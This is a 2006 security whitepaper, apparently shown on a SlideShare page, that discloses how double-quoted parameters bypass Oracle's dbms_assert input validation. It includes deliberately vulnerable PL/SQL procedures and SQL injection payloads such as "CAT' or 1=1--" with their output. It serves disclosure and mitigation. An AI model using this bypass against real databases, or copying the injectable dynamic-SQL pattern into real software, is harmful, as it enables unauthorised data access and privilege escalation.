SlideShare uma empresa Scribd logo
1 de 5
Baixar para ler offline
Bypassing Oracle dbms_assert V1.00


Bypassing Oracle dbms_assert
by Alexander Kornbrust of Red-Database-Security GmbH
http://www.red-database-security.com



Summary:
By using specially crafted parameters (in double quotes) it is possible to bypass the input
validation of the package dbms_assert and inject SQL code. This makes dozens of already
fixed Oracle vulnerabilities exploitable in all versions of Oracle again (8.1.7.4 – 10.2.0.2,
fully patched with Oracle CPU July 2006). I informed Oracle about this problem end of April
and informed Oracle about some bugs + exploits.

To mitigate the risk you should revoke especially the privilege “CREATE PROCEDURE” or
“ALTER PROCEDURE” to avoid privilege escalation by injection specially crafted functions
or procedures.


Tags:
dbms_assert, SQL Injection, dynamic SQL,


Introduction:
To protect the Oracle PL/SQL system packages from the growing number of SQL injection
vulnerabilities Oracle introduced a new package called dbms_assert in Oracle 10g Release 2.
This package was backported with the Oracle Critical Patch Update (CPU) October 2005 to
all supported databases (8.1.7.4 until 10.1.0.5).


But let's start from the beginning...

DBMS_ASSERT is a PL/SQL package consisting of the following functions.

        ENQUOTE_LITERAL
        ENQUOTE_NAME
        NOOP
        QUALIFIED_SQL_NAME
        SCHEMA_NAME
        SIMPLE_SQL_NAME
        SQL_OBJECT_NAME

A detailed explanation of these functions (+usage) can be found in David Litchfield and Dr.
Hall’s articles (see [1], [2]).

Using a central function to sanitize the (user) input is and was a clever strategy from Oracle as
long as the dbms_assert can not be bypassed. If such a central function can be bypassed then
this is a nice thing for security researchers and attackers because the usage of this function
(dbms_assert) marks all vulnerable functions und procedures.

© 2006 by Red-Database-Security GmbH                                                          1/5
Bypassing Oracle dbms_assert V1.00



Within minutes it's possible to find dozens of vulnerable PL/SQL functions and procedures in
all (fully-patched) versions of Oracle (8.1.7.4 until 10.2.0.2 with CPU July 2006) if you know
the right search string and if you are able to unwrap PL/SQL code. Since years there are
already PL/SQL unwrappers out there and Pete Finnigan will speak about this unwrapping
PL/SQL (+ simple proof-of-concept) at the Black Hat 2006 in Las Vegas [3].




© 2006 by Red-Database-Security GmbH                                                       2/5
Bypassing Oracle dbms_assert V1.00

Let's start with some simple PL/SQL examples.

A PL/SQL-procedure accepts a parameter TABLENAME and concatenates this parameter to
a dynamic SQL statement. This SQL statement will be executed with execute immediate.


(Vulnerable) Solution without dbms_assert:


CREATE OR REPLACE PROCEDURE test1 (TABLENAME                     IN VARCHAR2) IS
BEGIN

dbms_output.put_line(' SQL=select count(*) from all_tables
where table_name='''|| TABLENAME||'''');

EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''|| TABLENAME ||'''';

END test1;
/

Procedure created.


Now we are using a normal table name as a parameter


SQL> exec test1('CAT');
SQL=select count(*) from all_tables where table_name='CAT'

PL/SQL procedure successfully completed.



Because this parameter is not sanitized we can inject PL/SQL code, e.g. “or 1=1--"


SQL> exec test1('CAT'' or 1=1--');
SQL=select count(*) from all_tables where table_name='CAT' or
1=1--'

PL/SQL procedure successfully completed.




© 2006 by Red-Database-Security GmbH                                                 3/5
Bypassing Oracle dbms_assert V1.00

Solution with dbms_assert (still vulnerable):

Now we sanitize the user input with dbms_assert.qualified_sql_name. Oracle is using exactly
this approach several times in their internal PL/SQL code.


CREATE OR REPLACE PROCEDURE test2 (TABLENAME                       IN VARCHAR2) IS
VERIFY_TAB VARCHAR2(64);
BEGIN

VERIFY_TAB :=        DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME);

dbms_output.put_line('ASSERT result='||VERIFY_TAB);
dbms_output.put_line('SQL=select count(*) from all_tables
where table_name='''|| VERIFY_TAB ||'''');

EXECUTE IMMEDIATE 'select count(*) from all_tables where
table_name='''||VERIFY_TAB||'''';

END test2;
/

Procedure created.




We pass our table CAT as parameter and everything works as expected


SQL> exec test2('CAT');
ASSERT result=CAT
SQL=select count(*) from all_tables where table_name='CAT'

PL/SQL procedure successfully completed.


Now we try to inject additional code. This time dbms_assert.qualified_sql_name throws an
error and the dynamic SQL is not executed.


SQL>   exec test2('CAT'' or 1=1--');
BEGIN test2('CAT'' or 1=1--'); END;

   *
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error
ORA-06512: at "SYS.DBMS_ASSERT", line 206
ORA-06512: at "USER1.TEST2", line 5
ORA-06512: at line 1


© 2006 by Red-Database-Security GmbH                                                       4/5
Bypassing Oracle dbms_assert V1.00




And we inject an object name in double quotes into our procedure


SQL>   exec test2('"CAT'' or 1=1--"');
ASSERT result="CAT' or 1=1--"
SQL=select count(*) from all_tables where table_name='"CAT' or
1=1--"'

PL/SQL procedure successfully completed.



And, what surprise, it works...

dbms_assert.qualified_sql_name skips the input validation if the parameter is enquoted by
double quotes. If you use DBMS_ASSERT.sql_object_name you must create an object first,
e.g. CREATE TABLE " ' or 1=1-- ".

An attacker can use this technique (double quote around parameters) to bypass dbms_assert.

I informed Oracle end of April about this problem and reported already some related security
bugs in some Oracle PL/SQL packages. Oracle has no problem with the release of this
information (“Oracle sees no problem with your publication of the white paper.”)



History:
   •   1.00 – 27-july-2006 – initial release




References:

   •   [1] Securing PL/SQL Applications with DBMS_ASSERT
       http://www.ngssoftware.com/papers/DBMS_ASSERT.pdf

   •   [2] DBMS_ASSERT - Sanitize User Input to Help Prevent SQL Injection
       http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php

   •   [3] How to Unwrap Oracle PL/SQL
       http://www.blackhat.com/html/bh-usa-06/bh-us-06-speakers.html#Finnigan



(c) 2006 by Red-Database-Security GmbH



© 2006 by Red-Database-Security GmbH                                                      5/5

Mais conteúdo relacionado

Mais procurados

Trigger and cursor program using sql
Trigger and cursor program using sqlTrigger and cursor program using sql
Trigger and cursor program using sqlSushil Mishra
 
07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Development07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Developmentrehaniltifat
 
3963066 pl-sql-notes-only
3963066 pl-sql-notes-only3963066 pl-sql-notes-only
3963066 pl-sql-notes-onlyAshwin Kumar
 
A New View of Database Views
A New View of Database ViewsA New View of Database Views
A New View of Database ViewsMichael Rosenblum
 
08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadata08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadatarehaniltifat
 
Performance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, HowPerformance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, HowKaren Morton
 
Tony jambu (obscure) tools of the trade for tuning oracle sq ls
Tony jambu   (obscure) tools of the trade for tuning oracle sq lsTony jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony jambu (obscure) tools of the trade for tuning oracle sq lsInSync Conference
 
11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilar11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilarrehaniltifat
 
Intro to tsql unit 6
Intro to tsql   unit 6Intro to tsql   unit 6
Intro to tsql unit 6Syed Asrarali
 
View, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - ThaiptView, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - ThaiptFramgia Vietnam
 
DBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should KnowDBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should KnowAlex Zaballa
 
05 Creating Stored Procedures
05 Creating Stored Procedures05 Creating Stored Procedures
05 Creating Stored Proceduresrehaniltifat
 

Mais procurados (20)

Stored procedure in sql server
Stored procedure in sql serverStored procedure in sql server
Stored procedure in sql server
 
Trigger and cursor program using sql
Trigger and cursor program using sqlTrigger and cursor program using sql
Trigger and cursor program using sql
 
07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Development07 Using Oracle-Supported Package in Application Development
07 Using Oracle-Supported Package in Application Development
 
3963066 pl-sql-notes-only
3963066 pl-sql-notes-only3963066 pl-sql-notes-only
3963066 pl-sql-notes-only
 
A New View of Database Views
A New View of Database ViewsA New View of Database Views
A New View of Database Views
 
Less08 Schema
Less08 SchemaLess08 Schema
Less08 Schema
 
08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadata08 Dynamic SQL and Metadata
08 Dynamic SQL and Metadata
 
Performance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, HowPerformance Instrumentation for PL/SQL: When, Why, How
Performance Instrumentation for PL/SQL: When, Why, How
 
Tony jambu (obscure) tools of the trade for tuning oracle sq ls
Tony jambu   (obscure) tools of the trade for tuning oracle sq lsTony jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony jambu (obscure) tools of the trade for tuning oracle sq ls
 
Plsql
PlsqlPlsql
Plsql
 
Oracle Database Trigger
Oracle Database TriggerOracle Database Trigger
Oracle Database Trigger
 
Plsql
PlsqlPlsql
Plsql
 
11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilar11 Understanding and Influencing the PL/SQL Compilar
11 Understanding and Influencing the PL/SQL Compilar
 
Intro to tsql unit 6
Intro to tsql   unit 6Intro to tsql   unit 6
Intro to tsql unit 6
 
PLSQL Tutorial
PLSQL TutorialPLSQL Tutorial
PLSQL Tutorial
 
Pl sql-ch3
Pl sql-ch3Pl sql-ch3
Pl sql-ch3
 
View, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - ThaiptView, Store Procedure & Function and Trigger in MySQL - Thaipt
View, Store Procedure & Function and Trigger in MySQL - Thaipt
 
Intro to tsql
Intro to tsqlIntro to tsql
Intro to tsql
 
DBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should KnowDBA Commands and Concepts That Every Developer Should Know
DBA Commands and Concepts That Every Developer Should Know
 
05 Creating Stored Procedures
05 Creating Stored Procedures05 Creating Stored Procedures
05 Creating Stored Procedures
 

Destaque

Oss forensics fosscomm_2011
Oss forensics fosscomm_2011Oss forensics fosscomm_2011
Oss forensics fosscomm_2011fangjiafu
 
Cursor injection
Cursor injectionCursor injection
Cursor injectionfangjiafu
 
Oracle forensics 101
Oracle forensics 101Oracle forensics 101
Oracle forensics 101fangjiafu
 
Wce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurityWce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurityfangjiafu
 
Wce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_engWce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_engfangjiafu
 
Santorini island. 2
Santorini island. 2Santorini island. 2
Santorini island. 2Nikos
 
Understanding and selecting_dsp_final
Understanding and selecting_dsp_finalUnderstanding and selecting_dsp_final
Understanding and selecting_dsp_finalfangjiafu
 
Ddos analizi
Ddos analiziDdos analizi
Ddos analizifangjiafu
 

Destaque (8)

Oss forensics fosscomm_2011
Oss forensics fosscomm_2011Oss forensics fosscomm_2011
Oss forensics fosscomm_2011
 
Cursor injection
Cursor injectionCursor injection
Cursor injection
 
Oracle forensics 101
Oracle forensics 101Oracle forensics 101
Oracle forensics 101
 
Wce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurityWce internals rooted_con2011_ampliasecurity
Wce internals rooted_con2011_ampliasecurity
 
Wce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_engWce12 uba ampliasecurity_eng
Wce12 uba ampliasecurity_eng
 
Santorini island. 2
Santorini island. 2Santorini island. 2
Santorini island. 2
 
Understanding and selecting_dsp_final
Understanding and selecting_dsp_finalUnderstanding and selecting_dsp_final
Understanding and selecting_dsp_final
 
Ddos analizi
Ddos analiziDdos analizi
Ddos analizi
 

Semelhante a Bypassing Oracle dbms_assert

OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...Alex Zaballa
 
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...Alex Zaballa
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormguest785f78
 
Tony Jambu (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu   (obscure) tools of the trade for tuning oracle sq lsTony Jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu (obscure) tools of the trade for tuning oracle sq lsInSync Conference
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2Alex Zaballa
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2Alex Zaballa
 
Avoiding cursors with sql server 2005 tech republic
Avoiding cursors with sql server 2005   tech republicAvoiding cursors with sql server 2005   tech republic
Avoiding cursors with sql server 2005 tech republicKaing Menglieng
 
L9 l10 server side programming
L9 l10  server side programmingL9 l10  server side programming
L9 l10 server side programmingRushdi Shams
 
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docxAss2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docxfredharris32
 
Performance tuning
Performance tuningPerformance tuning
Performance tuningami111
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Netwebhostingguy
 
Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)Antony T Curtis
 
My sql with querys
My sql with querysMy sql with querys
My sql with querysNIRMAL FELIX
 
Watch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML UtilitiesWatch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML Utilitiesdpcobb
 
Dynamic websites lec3
Dynamic websites lec3Dynamic websites lec3
Dynamic websites lec3Belal Arfa
 

Semelhante a Bypassing Oracle dbms_assert (20)

OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
 
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
OOW16 - Oracle Database 12c - The Best Oracle Database 12c New Features for D...
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
Tony Jambu (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu   (obscure) tools of the trade for tuning oracle sq lsTony Jambu   (obscure) tools of the trade for tuning oracle sq ls
Tony Jambu (obscure) tools of the trade for tuning oracle sq ls
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2
 
DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2DBA Commands and Concepts That Every Developer Should Know - Part 2
DBA Commands and Concepts That Every Developer Should Know - Part 2
 
Avoiding cursors with sql server 2005 tech republic
Avoiding cursors with sql server 2005   tech republicAvoiding cursors with sql server 2005   tech republic
Avoiding cursors with sql server 2005 tech republic
 
L9 l10 server side programming
L9 l10  server side programmingL9 l10  server side programming
L9 l10 server side programming
 
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docxAss2-Descriptor.docx1 Problem DescriptionThe objective of .docx
Ass2-Descriptor.docx1 Problem DescriptionThe objective of .docx
 
10053 otw
10053 otw10053 otw
10053 otw
 
Performance tuning
Performance tuningPerformance tuning
Performance tuning
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Net
 
Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)Perl Stored Procedures for MySQL (2009)
Perl Stored Procedures for MySQL (2009)
 
Sql injection
Sql injectionSql injection
Sql injection
 
plsql les06
 plsql les06 plsql les06
plsql les06
 
My sql with querys
My sql with querysMy sql with querys
My sql with querys
 
Watch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML UtilitiesWatch Re-runs on your SQL Server with RML Utilities
Watch Re-runs on your SQL Server with RML Utilities
 
Dynamic websites lec3
Dynamic websites lec3Dynamic websites lec3
Dynamic websites lec3
 

Mais de fangjiafu

Create user to_sysdba
Create user to_sysdbaCreate user to_sysdba
Create user to_sysdbafangjiafu
 
Presentation nix
Presentation nixPresentation nix
Presentation nixfangjiafu
 
Layer 7 ddos
Layer 7 ddosLayer 7 ddos
Layer 7 ddosfangjiafu
 
Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02fangjiafu
 
Presentation nix
Presentation nixPresentation nix
Presentation nixfangjiafu
 
Proper passwordhashing
Proper passwordhashingProper passwordhashing
Proper passwordhashingfangjiafu
 
Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰fangjiafu
 
2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronization2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronizationfangjiafu
 
Network security
Network securityNetwork security
Network securityfangjiafu
 
Cloud computing security
Cloud computing securityCloud computing security
Cloud computing securityfangjiafu
 
Layer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dosLayer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dosfangjiafu
 
Sqlmap readme
Sqlmap readmeSqlmap readme
Sqlmap readmefangjiafu
 

Mais de fangjiafu (20)

Create user to_sysdba
Create user to_sysdbaCreate user to_sysdba
Create user to_sysdba
 
Presentation nix
Presentation nixPresentation nix
Presentation nix
 
Layer 7 ddos
Layer 7 ddosLayer 7 ddos
Layer 7 ddos
 
Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02Tlsoptimizationprint 120224194603-phpapp02
Tlsoptimizationprint 120224194603-phpapp02
 
Crypto hlug
Crypto hlugCrypto hlug
Crypto hlug
 
Fp
FpFp
Fp
 
Presentation nix
Presentation nixPresentation nix
Presentation nix
 
Rr 7944
Rr 7944Rr 7944
Rr 7944
 
Proper passwordhashing
Proper passwordhashingProper passwordhashing
Proper passwordhashing
 
Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰Burp suite injection中的应用by小冰
Burp suite injection中的应用by小冰
 
Oech03
Oech03Oech03
Oech03
 
2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronization2008 07-24 kwpm-threads_and_synchronization
2008 07-24 kwpm-threads_and_synchronization
 
Unit07
Unit07Unit07
Unit07
 
Unit05
Unit05Unit05
Unit05
 
Network security
Network securityNetwork security
Network security
 
Ids
IdsIds
Ids
 
Cloud computing security
Cloud computing securityCloud computing security
Cloud computing security
 
Layer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dosLayer one 2011-sam-bowne-layer-7-dos
Layer one 2011-sam-bowne-layer-7-dos
 
Sqlmap readme
Sqlmap readmeSqlmap readme
Sqlmap readme
 
Wisr2011 en
Wisr2011 enWisr2011 en
Wisr2011 en
 

Último

"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 

Último (20)

"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
